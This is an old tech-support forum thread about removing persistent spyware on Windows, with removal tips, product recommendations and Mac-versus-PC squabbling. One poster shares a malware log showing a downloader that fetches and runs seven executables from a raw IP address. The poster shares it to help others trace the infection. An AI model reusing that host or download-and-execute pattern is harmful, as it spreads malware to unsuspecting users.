Community Newsletter: Q&A forum: 4/1/05 Removing malware that just won't die!

Unless I totally miss the point, but I thought the reason why these forums were created was to help those who genuinely have a problem/s with their computers. Strange as it may seem the concept was pretty simple. You have something constructive to add to the subject then by all means do so.

So like more than just a few on here I thought it was cool that so many took the time to criticize phardstaff for his less than helpful comments. Theres also one other type of attitude that seems all too frequent on these forums these days and those are the people who seem to want to provoke conflict and I cite appsman as an example.

Rough posted a comment, which to me seemed perfectly valid. In response appsman posted this as a reply Not sure why you posted your response here instead of one level up. What did appsman expect to be gained from that reply? At the worst rough mistakenly posted his response in the wrong place and im not saying he did. What did appsman expect rough to do? Obviously he cant move it so it seems to me that the motive was to provoke a response from rough because appsman is looking to cause a conflict. What other motive can there be, lets be honest, the vast majority would have let it slide and moved on without making any comment.

Rough didnt respond and as a result it seems clear to me that appasman went on to see who else he could stir up. So he sights sidey and makes the following comment to him Still not sure who your response was directed at. If your post is directed at my reply then you truly did not read or understand its content. If thats the case then maybe you are the, as you so eloquently put it, "wannabe IT gurus who claim to know it all but in reality know zip". If not just let it die.

Now even a fool on his worst day would know that sideys post had absolutely no bearing on anything appsman had said in the previous posts. Obviously sideys comment was in response to rough and thread and timing support that. Appsman was looking to cause trouble and he must have known that the clear and totally uncalled for insult would force a response which is exactly what he wanted.

I think sidey was well within his rights to respond and I applaud him for presenting his argument as a mature adult. In my opinion sidey made appsman look the fool he clearly is. I also wonder why it is appsman seemed to take such exception to sideys comment "wannabe IT gurus who claim to know it all but in reality know zip" perhaps its because that comment although not originally aimed at appsman fits him like a glove all the same.

Can I just ask that in future, those who cannot contribute anything positive to those who need it the most, please refrain from making any comment at all because it serves no valuable purpose. Also to those who seek to create conflict like some schoolyard bully, take it elsewhere and grow up

Don't want spyware, viruses or other pesky invaders? But a mac! I did. They really are miles better, and you can do everything you used to do on a pc, better. Exept gaming. Oh yeah, they come with built in firewall.

Are you really saying that a MAC is immune to "spyware, viruses or other pesky invaders"!!!!????

Boy what have you been smoking coz I want some so long as the total idiot factor don't last forever. Oh and the firewall ... wait while I pick myself off the floor in fits of laughter ... I have to agree with the other guy. If you think that's gonna save you, boy are you in trouble. Give me a break ... go back to the Mac forum.

I use Webroot Spysweeper for my adware/spyware/virii removals. It is a pretty thorough program but not all spyware/adware/virii can be removed using removal programs.

Spysweeper can identify most spyware and such but there are some that it cannot remove because the programs are still running in the background (You can find these by depressing CTRL+ALT+Delete and then look in the list--For XP you want to look in the "Processes" tab).

Nowadays, it is a good habit to do CTRL+ALT+Delete and see what is "normal" for your processes tab (You may write down the processes that are running in the background so you know what SHOULD be running, and what shouldn't, pay attention to new programs you install and add them to your list as they run on your PC).

Some adware/spyware/trojans have resillient connections. When you "End Task" them, they immediately reconnect. To irradicate this requires some manual manipulation. Spysweeper (and all other spyware utilities I believe) provides a directory path to identified viruses/spyware/adware. Using Windows Explorer, you can go to the directory and find the Master Folder which contains the program in question. Next I cut it (right click then select "Cut" from the drop-down menu) and paste it to the desktop.

This will let you know if the program can be manipulated. If it does get moved to the desktop, rename the folder (I usually just rename it to "garbadge"). If the process is running, it may not let you delete the file until after you restart your PC. After you restart your PC, the file should not be able to connect since it can no longer be found (You have moved it and renamed it so any registry files that cause it to run can't find the target program). Then you should be able to delete it.

If the process is running and will not allow you to rename it and/or delete it, you will have to go into the START menu, RUN, then type in "msconfig" and try to stop the program from initiating each time you start up windows (This is done in the Startup tab in the menu box that appears).

If that still doesn't stop it (Some are VERY Resillient!) then you will have to go into the registry (START, RUN, type in "regedit") and look for the actual registry file that targets the pesky program and delete it. If you think doing the Windows Explorer search manually is a chore, the registry search can be even worse since registry keys can be installed into several folders. With a little diligence you can find the registry keys and delete them.

THEN go to the program in question and delete it asap. Usually by deleting the registry key, you end the process so it should not be running. You may receive an error message indicating as such. If so, you know for sure that you have killed the program's brain. Most of the time, you will receive no error messages so try to delete the program or have your adware stopper remove it for you once you delete the registry item that was running it.

Rundll32.exe is actually a normal function of windows, and it's not generally recommended that it be terminated. I see that it might be effective in helping prevent malware, but often at the expense of system stability.

Some informative links:
A decent description of what the executable does:
http://www.liutilities.com/products/wintaskspro/processlibrary/rundll32/
And to actually see the dlls that it loads:
http://windowsxp.mvps.org/rundll32.htm

I've found that I can delete those pesky files by using
Safemode - press F8 while rebooting and select it from the menu. Thne find the guilty file.

You should only use regedit if you are ABSOLUTELY sure of what you are doing, and if you have backed up the registry first.

I have been working on killing the malaware which would not die , re infecting cleaning up re infecting.Doing imposibles.

I GOT IT.
Finally after tracking logs and time stamps I got the answer. I hope this helps others avoid the infection.

It enters the computer through the MS. MEDIA PLAYER. I got a sound clip in an e mail which then triggered the media players Licensed music program and the acquire lenience program which is then directed to a server with the MALAWARE, and infects the Pc.

Enclosed the log left behind by the MS media player.. THE XXXXX SUBSTITUTED FOR THE HTTP// put in by me to stop the link from beeing posted as active.

I hope this helps others who can use this information.

Procedure, start with the time stamps of files detected by Panda or others. Look at all the .txt files
Once we know their names the killing is easier.

Good day.
Guy
Log
module 0 0
Old name C:\WINNT\Downloaded Program Files\update.exe New name C:\WINNT\system32\dwlbr.exe
RemoveFromHider -> C:\WINNT\Downloaded Program Files\update.exe
AddToHider -> C:\WINNT\system32\dwlbr.exe
UpdateHider
module 7a0000 1b
Work in C:\Program Files\Internet Explorer\iexplore.exe
LockFile C:\WINNT\system32\dwlbr.exe -> 6c
WorkExplorer
InternetOpenUrl cc000c
InternetReadFile 374
InternetReadFile 374
Downloading file XXXX//69.50.166.98/users/alberto/web/lodctrpd.exe
InternetOpenUrl cc000c
InternetReadFile 33792
InternetReadFile 33792
Executing file C:\WINNT\system32\lodctrpd.exe
Downloading file XXXX//69.50.166.98/users/alberto/web/diantzpt.exe
InternetOpenUrl cc000c
InternetReadFile 11264
InternetReadFile 11264
Executing file C:\WINNT\system32\diantzpt.exe
Downloading file XXXXX//69.50.166.98/users/alberto/web/dosxpd.exe
InternetOpenUrl cc000c
InternetReadFile 47077
InternetReadFile 47077
Executing file C:\WINNT\system32\dosxpd.exe
Downloading file XXXXht//69.50.166.98/users/alberto/web/audissrp.exe
InternetOpenUrl cc000c
InternetReadFile 10752
InternetReadFile 10752
Executing file C:\WINNT\system32\audissrp.exe
Downloading file XXXht//69.50.166.98/users/alberto/web/fixmapirs.exe
InternetOpenUrl cc000c
InternetReadFile 3733
InternetReadFile 3733
Executing file C:\WINNT\system32\fixmapirs.exe
Downloading file XXXX//69.50.166.98/users/alberto/web/autodmfp.exe
InternetOpenUrl cc000c
InternetReadFile 46592
InternetReadFile 46592
Executing file C:\WINNT\system32\autodmfp.exe
Downloading file XXXX//69.50.166.98/users/alberto/web/chkntfsfat.exe
InternetOpenUrl cc000c
InternetReadFile 19456
InternetReadFile 19456
Executing file C:\WINNT\system32\chkntfsfat.exe
All files downloaded successfully...
Removing downloader...
RemoveFromHider -> C:\WINNT\system32\dwlbr.exe

I have been reading this forum and have had a few giggles, having been in the business for a while my first comp was nothing more than a fancy calculator, a w 9600(cant use the name, but ang follows the w)and progressed on from there, at present i look after a network of macs server,included, i to thought that macs were impervious to all the dreaded stuff PC's get, but i was very wrong, they are susceptible. I have found that the Russians have ways of getting in to the macs, our firewall is set so high now, to avoid then from using us as a server for their porn that the system is almost useless for the net, the popups are proving to be a little harder to remove,so beware, macs are not the answer, it took me weeks to get rid of the crap that we had been infected with, not much software around to clean macs out,it was a nightmare,so beware mac users, you are not as clean as you think.

In answer to your comment taboma,i did not mean the Russians in general, but the infestation was traced back to Russia, the federal police here in Australia and in other parts of the world are investigating this organization, so maybe in future i should be more explicit in what i say, its just that i thought that most people here reading this would take it in the sense of what i meant, and not in a small or closed minded way. Yes i also are am glad i don't look after your server, as i suppose you believe in fairies as well.The company whom has these macs were much like you, they also believed that macs were impervious to any virus, worm etc that was causing the PC world major headaches, it was not until the federal police contacted them, and asked why they were serving a porn site that they then realized that they were not as secure as they thought, maybe you should check you server, it took the cops quite some time to find how they did it, and according to their expert, it was very ingenious. My back ground is r&d in electronic warfare, so i do not claim to be an expert in this field, all i was trying to do here was to let people know, mac's are vulnerable.

Please see my previous post:

http://reviews.cnet.com/5208-10149-0.html?forumID=7&threadID=95901&messageID=1108263

Before you go into the whole windows fanboy crap:

** I have to exercise the same caution and install equivalent protection programs in Linux, just as I do in Windows, and just as you should for your Mac. **

If the Macs were completely invulnerable, why would Apple release security updates? I rest my case.

Jamie

every time i open any internet browser (mozzila, ie, or aol) i get a pop-up and i all though there is many things that have been said about this subject i would like to know how i can remove it and not have to install numerous programs to protect my computer. I also use a wireless internet so when i use a firewall it sometimes interferes with recieving the signal so i would like to know if i have to have one or if there is another way around it.

-g00n

Thanks to all the knowledgeable posters who have taken the time to contribute to this forum. This discussion on adware, malware, pop-ups, etc. is particularly valuable. It provides an excellent source on how to deal with the new threats that are coming along.

Now computers are my hobby. I started working on them in the 60s...before punched cards, DOS, or any industry standards. Programming was mostly machine language (octal or hexidecimal) with Fortran or Algo being used for some specific applications. Computer groups in each company pretty much wrote their own OS. Punched paper tape and Friden Flexowriters were often used to load programs into relatively small computer memories.

Technological developments came slowly at first, as did any sense of standards. What a change there has been

Looking at today's choices available to a computer professional, the feeling one gets is that the power, portability, and accessibility of hardware and software should make the job a joy.

With all the stuff that is available now it is difficult to keep up. A forum such as this is a great help. Thanks.

jim

I was there with you right up to Ad Aware then I get confused.

Are you saying that you think the reason why the MS Firewall is off is because there is a spyware/malware issue?

I would assume you have loaded SP2 on your network so you would know what im talking about when I ask if you've checked the firewall status either through Security Centre or Windows Firewall in the Control Panel?

In any event I would hope that its more a matter of being curious as to what has happened to MS Firewall (if I understand you correctly, which I probably don't) rather than being reliant on MS Firewall as a firewall for your network and wanting to get it up again.

the program search and destroy will surely do the job. Also Symantec Norton antivirus has an option to do this every week or time you want.

You have one SERIOUS infection. I would suggest trying PrevX malware remover. It is VERY cheap at 10 bucks for a 3 month license (or 25 for a year). The program catches EVERYTHING and completely eliminates it. If THIS doesn't work then a format is your last and only option.

You can never underestimate the power of backups.